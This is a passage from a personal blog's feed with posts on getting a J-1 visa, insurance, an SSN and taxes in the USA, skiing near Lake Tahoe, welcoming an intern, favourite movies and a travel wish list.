&lt;li&gt;&lt;a href="https://scrutinizer-ci.com/"&gt;Scrutinize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.zenhub.com/"&gt;ZenHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codeclimate.com/"&gt;Code Climate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/standard-version"&gt;standard-version&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/conventional-changelog"&gt;Conventional Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="miscellaneous"&gt;Miscellaneous&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://makeapullrequest.com/"&gt;Make a Pull Request&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://keepachangelog.com/en/0.3.0/"&gt;Keep A Changelog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/blog/2111-issue-and-pull-request-templates"&gt;Issue and Pull Request templates&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.freecodecamp.com/how-to-attract-new-contributors-to-your-open-source-project-46f8b791d787"&gt;How to attract new contributors to your open source project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/badgen-pour-generer-vos-badges-svg.html"&gt;Badgen – Pour générer vos badges SVG&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://unmaintained.tech/"&gt;No Maintenance Intended&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nikku/works-on-my-machine"&gt;nikku/works-on-my-machine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://davidreagan.net/tech/fixing-the-support-problem/"&gt;Fixing the Support Problem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Checklist for a good open source project on Github: &lt;a href="https://www.yegor256.com/2018/05/08/open-source-attributes.html"&gt;An Open Code Base Is Not Yet an Open Source Project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/apps/welcome"&gt;Github Apps - Welcome&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://packager.io/"&gt;Packager.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://words.steveklabnik.com/what-comes-after-open-source"&gt;What comes after “open source”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zenika-open-source/open-source-promotion-cheat-sheet"&gt;Open source promotion cheat sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="getting-paid"&gt;Getting paid&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://codefund.app/"&gt;CodeFund&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="free-software"&gt;Free software&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://video.tedomum.net/videos/watch/22382fb9-ad79-4ac1-8df3-c7c027749425"&gt;Internet ou la révolution du partage&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="open source"></category></entry><entry><title>Living In The USA: Visa, Insurance, SSN, and Taxes</title><link href="https://romainpellerin.eu/living-in-the-usa-visa-insurance-ssn-and-taxes.html" rel="alternate"></link><published>2017-02-19T01:50:00+01:00</published><updated>2019-04-27T00:12:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-02-19:/living-in-the-usa-visa-insurance-ssn-and-taxes.html</id><summary type="html">&lt;p&gt;Everything one needs to know before applying for a visa in the US&lt;/p&gt;</summary><content type="html">&lt;p&gt;In this article, I explain and sum up everything one needs to know to apply for a J-1 visa in the US, in order to do an internship. Everything below is based on my experience and on the instructions I received.&lt;/p&gt;
&lt;h1 id="visa"&gt;Visa&lt;/h1&gt;
&lt;p&gt;Getting a J-1 visa for the US is a quite &lt;a href="http://gaelleinlosangeles.com/demarches-visa-j1/"&gt;long process&lt;/a&gt;. First and foremost, a sponsor is required. The most popular sponsor of J-1 visa programs is undoubtedly &lt;a href="https://www.ciee.org/"&gt;CIEE&lt;/a&gt;, a non-profit organization. But there are &lt;a href="http://gaelleinlosangeles.com/visa-j1-choix-sponsor/"&gt;others&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;CIEE has many partners throughout the world. A good one in France is &lt;a href="http://www.parenthese-paris.com/"&gt;Parenthèse&lt;/a&gt;. It is the one I decided to go with, since my internship company is used to working with them.&lt;/p&gt;
&lt;p&gt;Parenthèse's staff is very professional and helpful. They guided me all along the entire process.&lt;/p&gt;
&lt;p&gt;However, should you decide to deal with CIEE directly, with no intermediary, you will find everything you need at &lt;a href="https://www.ciee.org/internship-usa/"&gt;www.ciee.org/internship-usa&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If my memory serves, the procedure is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First Parenthèse emailed me a bunch of files to read and fill out (&lt;a href="https://www.ciee.org/internship-usa/downloads/2017/CIEE_2017_Standard_INT-PCT_Application.pdf"&gt;a very long one addressed to CIEE&lt;/a&gt;, and a short one for Parenthèse). They also ask for a copy of your passport. Fortunately, you can send them back over email.&lt;/li&gt;
&lt;li&gt;Next you pay (roughly 1500€ in total).&lt;/li&gt;
&lt;li&gt;By the time they get the money, Parenthèse must have sent your dossier to CIEE. You'll be contacted by them, &lt;a href="https://www.ciee.org/internship-usa/downloads/2016/CIEE_Electronic_DS-7002_Instructions_for_Participants.pdf"&gt;asking you to provide them with your supervisor's details (on a website)&lt;/a&gt;. Once done, your supervisor at your company will have to complete a form referred to as DS-7002. Then, you and your supervisor will both have to sign this form electronically, on the same website.&lt;/li&gt;
&lt;li&gt;After a few days, Parenthèse will receive a mail with your entire dossier (DS-2019, DS-7002, SEVIS fee payment receipt, proof of insurance, and a letter for the social security). They will forward everything to you.&lt;/li&gt;
&lt;li&gt;From now on, it is your responsibility to make an appointment at the US embassy. However you will need to complete an online form (the Online Nonimmigrant Visa Application, aka DS-160) beforehand. Upon completion of this form, you will have to pay a fee (152€ as of December 2016) by making a transfer. Once they receive the money, they will enable you to make an appointment. More information about that on &lt;a href="https://fr.usembassy.gov/fr/visas-fr/visas-de-sejour-temporaire/"&gt;this website&lt;/a&gt;. &lt;a href="https://ais.usvisa-info.com/fr-fr/niv"&gt;Here is the French website to make an appointment.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Finally, you will get to go to the embassy. Bring your passport, DS-2019, DS-7002, DS-160, SEVIS receipt, a 5"x5" photo of you (although a regular passport photo worked for me), and a proof of ties to your home country. Do not expect anything crazy, you'll get asked a couple of questions (like what the purpose of your trip is), fingerprints scanned, and within minutes you're out! Damn stressing though. Make sure you arrive at least 15 minutes early. Here are two links to articles (written in French), about how to prepare for this interview: &lt;a href="http://gaelleinlosangeles.com/visa-j1-l-ambassade/"&gt;Visa J1 – L’ambassade&lt;/a&gt; and &lt;a href="http://blog.eexit.net/usa-entretien-a-lambassade-des-etats-unis-damerique/"&gt;USA: ENTRETIEN À L'AMBASSADE DES ÉTATS-UNIS D'AMÉRIQUE&lt;/a&gt; (the latter is outdated).&lt;/li&gt;
&lt;li&gt;Roughly a week later, you will receive your passport with your visa. The last step before leaving is to complete the CIEE online orientation, which is basically an introduction to the US and what it's like to live there. You should normally have received an email with a link to that orientation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="insurance"&gt;Insurance&lt;/h1&gt;
&lt;p&gt;Getting a visa with CIEE as a sponsor is quite expensive, but there's a reason for that: they provide you with an insurance plan. Not the best for sure - not every expense is refunded and oftentimes you'll pay copays - but it's sufficient for most people. More information on &lt;a href="https://www.ciee.org/insurance/index.html"&gt;their website&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="things-to-do-upon-arrival-sevis-and-social-security-number"&gt;Things to do upon arrival: SEVIS and Social Security Number&lt;/h1&gt;
&lt;p&gt;First, make sure to carry your insurance card and passport with visa with you at all times.&lt;/p&gt;
&lt;p&gt;At the airport, you will be required to show the following documents:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Passport with visa&lt;/li&gt;
&lt;li&gt;DS-2019&lt;/li&gt;
&lt;li&gt;SEVIS fee payment receipt &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, there are a few &lt;a href="http://www.parenthese-paris.com/etudiants/visa-j1-intern/sur-place-usa/des-votre-arrivee-aux-usa/"&gt;things to do in the next few days&lt;/a&gt;. In the correct order, these things include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Registering for SEVIS by calling CIEE at 1-888-268-6245. Make sure you have your DS2019 form with you when calling since they are going to ask for your number, which begins with "N00". &lt;strong&gt;Do not register before the DS-2019 program start date.&lt;/strong&gt; Provide them with your home address, email address, and American phone number at the same time.&lt;/li&gt;
&lt;li&gt;If you don't have a Social Security card, print a copy of your i94 number at &lt;a href="https://www.cbp.gov/i94"&gt;www.cbp.gov/i94&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;If you don't have a Social Security card, register for a Social Security number &lt;strong&gt;at least 2 days after registering for SEVIS and 10 days after entering the US&lt;/strong&gt;: visit your local social security office (find one on &lt;a href="https://www.ssa.gov/locator/"&gt;www.ssa.gov/locator&lt;/a&gt;). You can visit them without any appointment. There, bring:&lt;ul&gt;
&lt;li&gt;Your DS2019 form&lt;/li&gt;
&lt;li&gt;The letter "Dear social security officer", provided by CIEE&lt;/li&gt;
&lt;li&gt;Your passport with your visa&lt;/li&gt;
&lt;li&gt;Your i94 number (make sure to print the page from the official website, they do not accept any other paper).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After you have applied, the Social Security office will provide you with a "Proof of Application" document. This receipt may enable you to receive paychecks and open a bank account. You should check the status of your application within seven to ten days of submission by visiting a social security office. In case of problem, call CIEE. Then the card will arrive by mail within a few weeks (3 tops, otherwise contact CIEE). This card will be valid for your entire life.&lt;/p&gt;
&lt;p&gt;It is also advised to get a state ID card to avoid carrying your passport everywhere.&lt;/p&gt;
&lt;p&gt;Likewise, opening a bank account could be useful and sometimes necessary to get paid.&lt;/p&gt;
&lt;p&gt;You should notify CIEE of any change in US home address, phone number or email address within 10 days of the change.&lt;/p&gt;
&lt;p&gt;During your internship, you'll get two online evaluations to complete, one at mid-point and one at the end of the program. Your supervisor will get online evaluations to complete too. Should there be a problem (you or your supervisor didn't get the emails about the evaluation, for example), email CIEE at &lt;a href="mailto:evals@ciee.org"&gt;evals@ciee.org&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="trips-outside-of-the-usa"&gt;Trips outside of the USA&lt;/h1&gt;
&lt;p&gt;If you intend to go out of the USA temporarily, call CIEE at least 3 weeks prior to your departure. You will have to do some paperwork and CIEE will need to countersign your DS-2019. Each trip cannot exceed 30 days.&lt;/p&gt;
&lt;h1 id="things-to-do-upon-departing"&gt;Things to do upon departing&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.irs.gov/individuals/international-taxpayers/departing-alien-clearance-sailing-permit"&gt;Nothing ("&lt;em&gt;Aliens Not Required To Obtain Sailing or Departure Permits&lt;/em&gt;")&lt;/a&gt;, as far as I remember. Maybe change your personal details on your bank account, such as your home address.&lt;/p&gt;
&lt;h1 id="taxes"&gt;Taxes&lt;/h1&gt;
&lt;p&gt;First of all, this &lt;a href="http://www.parenthese-paris.com/etudiants/visa-j1-intern/sur-place-usa/declaration-dimpots-aux-usa/"&gt;article from Parenthèse&lt;/a&gt; is quite useful for French expats.&lt;/p&gt;
&lt;p&gt;Also, here are some resources as to how to file your tax return (form 1040NR-EZ for J1 visas) if you want to do it by yourself instead of using a third party online service such as &lt;a href="https://www.taxback.com/en/"&gt;TaxBack&lt;/a&gt; or &lt;a href="https://www.turbotax.com/"&gt;TurboTax&lt;/a&gt; (TurboTax is not compatible with J1 visa holders):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.visa-j1.fr/comment-remplir-le-formulaire-w-4/"&gt;Comment remplir le formulaire W-4 ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.irs.gov/forms-pubs/about-form-1040nr-ez-us-income-tax-return-for-certain-nonresident-aliens-with-no-dependents"&gt;About Form 1040-NR-EZ, U.S. Income Tax Return for Certain Nonresident Aliens With No Dependents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cms.montgomerycollege.edu/edu/department2.aspx?id=38693"&gt;1040NR-EZ line by line instructions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As to me, well I used TaxBack.com. How did it go? Would I recommend their service? Everything you need to know right below.&lt;/p&gt;
&lt;h2 id="taxbackcom-for-j1-visa-holders"&gt;TaxBack.com for J1 visa holders&lt;/h2&gt;
&lt;h3 id="pros"&gt;Pros&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;It's the only online service (that I found) that also handles J1 visas.&lt;/li&gt;
&lt;li&gt;They take care of everything, which means you save yourself approximatively a day of hassle.&lt;/li&gt;
&lt;li&gt;They customer support is very good. They usually respond to emails within a day.&lt;/li&gt;
&lt;li&gt;Their website, although a bit old, is convenient. They offer separate pages for each of your tax refund applications, with a step by step timeline showing you where your file is, in regard to the entire process (from submitting the required files and your W2 form to "you got your money on your bank account"). They handle FICA and US tax applications individually, on distinct pages.&lt;/li&gt;
&lt;li&gt;An online chat, very responsive.&lt;/li&gt;
&lt;li&gt;They take care of sending all the papers to IRS in the US, in your place.&lt;/li&gt;
&lt;li&gt;They can transfer your money back to any bank account in the world, in any currency. I believe the IRS is much more restrictive (only a cheque or transfer in USD on a US bank account?).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="cons"&gt;Cons&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EXPENSIVE&lt;/strong&gt;: oh boy don't you expect them to be cheap. From the amount I was supposed to get back, they subtracted:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Processing fees&lt;/li&gt;
&lt;li&gt;Handling fees&lt;/li&gt;
&lt;li&gt;Bank transfer fees ($35 per transfer)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also they applied a very disadventageous exchange rate (USD to EUR): between May 1 and May 11 (today), the official exchange rate fluctuated between 0.83 and 0.84. They used 0.79052 for my transfer, which occured some day between these two dates. You read it well.&lt;/p&gt;
&lt;p&gt;Before using their service, you'd better read &lt;a href="https://www.taxback.com/en/tax-service-fees/"&gt;this page&lt;/a&gt; very carefully. As an example, I was supposed to get $1156.91 back from FICA. The processing fee was $231.38 and the handling fee was $46.28. &lt;strong&gt;They kept 24% of my refund.&lt;/strong&gt; Plus a $35 bank transfer fee. Geez! Not sure my time is worth that much money, after all. Maybe I should have taken the time to fill the documents by myself...&lt;/p&gt;
&lt;h2 id="taxes-on-bank-interest-for-nonresident-aliens"&gt;Taxes on bank interest for nonresident aliens&lt;/h2&gt;
&lt;p&gt;This topic is still quite unclear to me, but apparently it's "nontaxable and nonreportable", as per &lt;a href="https://www.irs.gov/individuals/international-taxpayers/federal-income-tax-withholding-and-reporting-on-other-kinds-of-us-source-income-paid-to-nonresident-aliens"&gt;Federal Income Tax Withholding and Reporting on Other Kinds of U.S. Source Income Paid to Nonresident Aliens&lt;/a&gt;. Even when you're no longer living in the US.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://busfin.osu.edu/sites/default/files/nrafaqs.pdf"&gt;This other document&lt;/a&gt; says:&lt;/p&gt;
&lt;p&gt;"&lt;em&gt;My only income was some bank interest. Do I have to file a tax return?&lt;/em&gt;"&lt;/p&gt;
&lt;p&gt;"&lt;em&gt;A: If you are a nonresident alien, bank interest is excluded from your U.S. income under a special tax rule intended to encourage foreign investment in the United States. &lt;/em&gt;"&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Good to know&lt;/strong&gt;: banks and credit unions send every year in January a document (FORM 1099) that lists earned interest only if above $10.&lt;/p&gt;
&lt;p&gt;Also bear in mind that some credit unions refer to interest as dividends:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://budgeting.thenest.com/report-dividends-credit-union-account-24324.html"&gt;How to Report Dividends from a Credit Union Account&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://money.stackexchange.com/questions/14460/difference-between-dividend-and-interest"&gt;Difference between dividend and interest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.irs.gov/faqs/interest-dividends-other-types-of-income/1099-div-dividend-income"&gt;1099-DIV Dividend Income&lt;/a&gt;: "&lt;em&gt;Certain distributions commonly referred to as dividends actually should be reported as interest&lt;/em&gt;"&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, a few additional links related to the topic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.irs.gov/individuals/international-taxpayers/taxation-of-nonresident-aliens"&gt;Taxation of Nonresident Aliens&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://scheller-international.com/blog-beitraege/the-ins-and-out-of-us-taxation-for-german-citizens.html"&gt;The Ins and Out of US Taxation for German Citizens&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.irs.gov/pub/irs-pdf/p519.pdf"&gt;Publication 519: U.S. Tax Guidefor Aliens&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it! Hope it was helpful.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="usa"></category><category term="visa"></category><category term="insurance"></category></entry><entry><title>Living In The USA: Skiing</title><link href="https://romainpellerin.eu/living-in-the-usa-skiing.html" rel="alternate"></link><published>2017-02-15T20:50:00+01:00</published><updated>2017-02-19T01:28:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-02-15:/living-in-the-usa-skiing.html</id><summary type="html">&lt;p&gt;Two days spent skiing in the US!&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last weekend, my boss took me to Heavenly Moutain Resort, near Lake Tahoe, at the border between Northern California and Nevada. With his wife and some of their friends, we went there for the weekend. Despite pretty bad road conditions (two major roads closed because of the snow and a mudslide), we eventually made it there, at 6pm on Saturday.&lt;/p&gt;
&lt;p&gt;The next day, we had a clear blue sky and great snow on the slopes. Monday was almost as good.&lt;/p&gt;
&lt;p&gt;Below is a video of these two days.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/Qpw-btGnWt4?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;This resort is extremely pricey. It was $144.72 (tax incl.) for ski rental (for 2 days). Plus $135 per day to get a lift ticket (so $270 for 2 days). But the view from the top is breathtaking.&lt;/p&gt;
&lt;p&gt;One noticeable difference with the French Alps is that ski runs are quite short, at most 15 minutes. At the end of the day, you've spent 1/3 of your time on a chairlift.&lt;/p&gt;
&lt;p&gt;All in all, it was a great sojourn! We hit the road again on Monday afternoon, headed back to home.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="usa"></category><category term="ski"></category></entry><entry><title>How To Welcome An Intern</title><link href="https://romainpellerin.eu/how-to-welcome-an-intern.html" rel="alternate"></link><published>2017-02-10T23:50:00+01:00</published><updated>2017-04-04T22:52:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-02-10:/how-to-welcome-an-intern.html</id><summary type="html">&lt;p&gt;Internships are great opportunities to learn. Let's make both parties - the intern and the company - happy by applying a few rules of thumb.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Sould I ever hire an intern, this is a note to my future self.&lt;/p&gt;
&lt;p&gt;I started a new internship two weeks ago and I felt very welcomed. Just like home. My boss made my first few days much more enjoyable than I would have expected, by making my life easy. In a nutshell, I was provided with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A place to sleep on the first day&lt;/li&gt;
&lt;li&gt;Food&lt;/li&gt;
&lt;li&gt;A few Lyft rides to go around&lt;/li&gt;
&lt;li&gt;A transit pass (for buses, subway, train) topped up with a few bucks&lt;/li&gt;
&lt;li&gt;I was not left alone at the airport upon my arrival&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I was introduced to key people soon enough (co-workers mostly) so that on the first day of my internship I already felt comfortable. Likewise, I got to see my workplace before the beginning of my internship.&lt;/p&gt;
&lt;p&gt;Finally, I received help and support regarding paperwork and all the stuff I had to do (getting a Social Security Number for instance).&lt;/p&gt;
&lt;p&gt;That's it. Of course I am grateful to my boss and would like to thank him. Hopefully, I'll do as well as he did, should I get the chance some day.&lt;/p&gt;</content><category term="Jobs"></category><category term="intern"></category></entry><entry><title>Favorite Movies</title><link href="https://romainpellerin.eu/favorite-movies.html" rel="alternate"></link><published>2017-02-10T00:50:00+01:00</published><updated>2025-03-08T00:49:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-02-10:/favorite-movies.html</id><summary type="html">&lt;p&gt;My all time favorite movies. Or some of them.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just like I started listing &lt;a href="https://romainpellerin.eu/books.html"&gt;the books I read&lt;/a&gt;, I want to list some of my favorite movies. So here is a first attempt to list them. Of course, I probably forgot lots of them, so I'll keep updating this article occasionally.&lt;/p&gt;
&lt;p&gt;For the moment, the list is unordered. I'll certainly re-order that at some point, when it gets confusing and messy.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;La La Land: &lt;em&gt;great actors, excellent OST&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Whiplash&lt;/li&gt;
&lt;li&gt;Birdman&lt;/li&gt;
&lt;li&gt;Begin Again: &lt;em&gt;great OST&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;About time&lt;/li&gt;
&lt;li&gt;Dead Poets Society&lt;/li&gt;
&lt;li&gt;Good Will Hunting&lt;/li&gt;
&lt;li&gt;Forrest Gump&lt;/li&gt;
&lt;li&gt;Seven Pouds&lt;/li&gt;
&lt;li&gt;Titanic&lt;/li&gt;
&lt;li&gt;Avatar&lt;/li&gt;
&lt;li&gt;Star Wars movies&lt;/li&gt;
&lt;li&gt;Blue Valentine&lt;/li&gt;
&lt;li&gt;Drive: &lt;em&gt;great OST&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The Great Gatsby&lt;/li&gt;
&lt;li&gt;The Shawshank Redemption&lt;/li&gt;
&lt;li&gt;Hannibal movies with Hopkins (chronological order for the story): Hannibal Rising, Red Dragon, The Silence of the Lambs, and Hannibal&lt;/li&gt;
&lt;li&gt;The Pursuit of Happyness&lt;/li&gt;
&lt;li&gt;I Am Legend&lt;/li&gt;
&lt;li&gt;The Rocky movies&lt;/li&gt;
&lt;li&gt;The Wolf of Wall Street&lt;/li&gt;
&lt;li&gt;Ex Machina&lt;/li&gt;
&lt;li&gt;Leon The Professional&lt;/li&gt;
&lt;li&gt;Inside Lewyin Davis&lt;/li&gt;
&lt;li&gt;Juno&lt;/li&gt;
&lt;li&gt;Get Out&lt;/li&gt;
&lt;li&gt;Limitless&lt;/li&gt;
&lt;li&gt;Your name (Japanese anime)&lt;/li&gt;
&lt;li&gt;Grave of the Fireflies (Japanese anime)&lt;/li&gt;
&lt;li&gt;Whisper of the heart (Japanese anime)&lt;/li&gt;
&lt;li&gt;My neighbor Totoro (Japanese anime)&lt;/li&gt;
&lt;li&gt;The Wind Rises (Japanese anime)&lt;/li&gt;
&lt;li&gt;Wolf Children (Japanese anime)&lt;/li&gt;
&lt;li&gt;The Girl Who Leapt Through Time (Japanese anime)&lt;/li&gt;
&lt;li&gt;Kiki's Delivery Service (Japanese anime)&lt;/li&gt;
&lt;li&gt;When Marnie Was There (Japanese anime)&lt;/li&gt;
&lt;li&gt;Catch Me If You Can&lt;/li&gt;
&lt;li&gt;Creed movies&lt;/li&gt;
&lt;li&gt;Top Gun movies&lt;/li&gt;
&lt;li&gt;Harry Potter movies 1 to 6&lt;/li&gt;
&lt;li&gt;Blade Runner and Blade Runner 2049&lt;/li&gt;
&lt;li&gt;Django Unchained&lt;/li&gt;
&lt;li&gt;Cast Away&lt;/li&gt;
&lt;li&gt;The Notebook&lt;/li&gt;
&lt;li&gt;The Artist&lt;/li&gt;
&lt;li&gt;Matrix movies&lt;/li&gt;
&lt;li&gt;San Junipero (an episode from the TV series &lt;em&gt;Black Mirror&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Hang the DJ (an episode from the TV series &lt;em&gt;Black Mirror&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Togo (the Disney movie from 2019)&lt;/li&gt;
&lt;li&gt;When Harry Met Sally...&lt;/li&gt;
&lt;li&gt;Balto (animated movie)&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="movies"></category></entry><entry><title>My Travel List</title><link href="https://romainpellerin.eu/my-travel-list.html" rel="alternate"></link><published>2017-01-31T16:55:00+01:00</published><updated>2025-10-16T23:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-31:/my-travel-list.html</id><summary type="html">&lt;p&gt;Places I want to visit.&lt;/p&gt;</summary><content type="html">&lt;h1 id="usa"&gt;USA&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Dallas&lt;/li&gt;
&lt;li&gt;Redwood State Park&lt;/li&gt;
&lt;li&gt;Huston&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Miami&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Texas&lt;/li&gt;
&lt;li&gt;Mount Rushmore National Memorial&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Philadelphia (especially the Rocky Statue and the Rocky Steps)&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Forrest Gump Point in Utah (GPS coordinates: 37.1015063,-109.9908129)&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Boston:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Museum of Fine Arts&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="japan"&gt;Japan&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Chureito Pagoda, Kyoto (I've been there, but never climbed the stairs to get the wonderful view of Mount Fuji - Chureito Pagoda)&lt;/li&gt;
&lt;li&gt;Miyajima (Itsukushima)&lt;/li&gt;
&lt;li&gt;Kanazawa&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="china"&gt;China&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Great Wall of China&lt;/li&gt;
&lt;li&gt;Beijing&lt;/li&gt;
&lt;li&gt;Shanghai&lt;/li&gt;
&lt;li&gt;Lijiang&lt;/li&gt;
&lt;li&gt;Yu Garden, Shanghai&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="europe"&gt;Europe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Vienna&lt;/li&gt;
&lt;li&gt;Hallstatt, Austria &lt;/li&gt;
&lt;li&gt;&lt;del&gt;Prague&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Greece&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Cyprus&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Berlin, Hamburg and Munich, Germany&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Scandinavia: Denmark, Sweden, Norway (Geirangerfjord)&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Finland&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Italy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;del&gt;Rome&lt;/del&gt; and Venice&lt;/li&gt;
&lt;li&gt;Colosseum in Verona&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Tower of Pisa&lt;/del&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;del&gt;Madrid&lt;/del&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other-countries"&gt;Other countries&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Iceland (I want to see Northern lights so bad!)&lt;/li&gt;
&lt;li&gt;Eldhraun, Iceland&lt;/li&gt;
&lt;li&gt;Greenland or Northern Canada&lt;/li&gt;
&lt;li&gt;Machu Picchu&lt;/li&gt;
&lt;li&gt;Chichen Itza (Mexico)&lt;/li&gt;
&lt;li&gt;Mexico City&lt;/li&gt;
&lt;li&gt;Marrakech&lt;/li&gt;
&lt;li&gt;Rio de janeiro&lt;/li&gt;
&lt;li&gt;New Zealand&lt;/li&gt;
&lt;li&gt;Moscow&lt;/li&gt;
&lt;li&gt;Saint Petersburg&lt;/li&gt;
&lt;li&gt;Phuket and Patong, Thailand&lt;/li&gt;
&lt;li&gt;Vietnam&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Turkey:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pamukkale&lt;/li&gt;
&lt;li&gt;Anıtkabir&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Malaysia&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Philippines&lt;/li&gt;
&lt;li&gt;Taiwan (Taipei and Kaohsiung)&lt;/li&gt;
&lt;li&gt;Senegal&lt;/li&gt;
&lt;li&gt;Australia&lt;/li&gt;
&lt;li&gt;Pura Ulun Danu Bratan, Indonesia&lt;/li&gt;
